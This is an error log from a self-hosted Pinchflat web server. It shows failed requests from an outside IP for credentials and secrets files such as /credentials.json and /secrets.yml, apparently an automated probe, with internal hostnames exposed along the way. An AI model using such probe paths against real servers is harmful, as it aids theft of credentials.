#PID<0.3432.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-zWIHYZgJ_IAAQ6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3431.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50132}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3431.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50132}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3432.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.1 (truncated) 21:08:45.178 [info] GET /credentials.txt 21:08:45.179 [debug] QUERY OK source="settings" db=0.1ms idle=85.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.179 [debug] QUERY OK source="settings" db=0.0ms idle=18.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.179 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.179 [error] #PID<0.3434.0> running PinchflatWeb.Endpoint (connection #PID<0.3433.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /credentials.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3433.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50136}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3434.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/credentials.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-zZVyVu1sPIAAQ8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3433.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50136}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3433.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50136}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3434.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72 (truncated) 21:08:45.266 [info] GET /secrets.json 21:08:45.266 [debug] QUERY OK source="settings" db=0.1ms idle=101.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.267 [debug] QUERY OK source="settings" db=0.1ms idle=101.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.267 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.267 [error] #PID<0.3436.0> running PinchflatWeb.Endpoint (connection #PID<0.3435.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /secrets.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3435.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50142}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3436.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/secrets.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-zuPyxDU57UAAQ-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3435.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50142}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3435.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50142}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3436.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarde (truncated) 21:08:45.288 [info] GET /secrets.yml 21:08:45.288 [debug] QUERY OK source="settings" db=0.1ms idle=109.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.288 [debug] QUERY OK source="settings" db=0.1ms idle=109.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.288 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.289 [error] #PID<0.3438.0> running PinchflatWeb.Endpoint (connection #PID<0.3437.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /secrets.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3437.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50148}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3438.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/secrets.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-zzbx72Vj1IAARAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3437.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50148}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3437.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50148}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3438.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-pro (truncated) 21:08:45.295 [info] GET /secrets.yaml 21:08:45.295 [debug] QUERY OK source="settings" db=0.0ms idle=42.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.295 [debug] QUERY OK source="settings" db=0.0ms idle=28.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.295 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.295 [error] #PID<0.3440.0> running PinchflatWeb.Endpoint (connection #PID<0.3439.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /secrets.yaml ** (exit) an exception was raised: ** 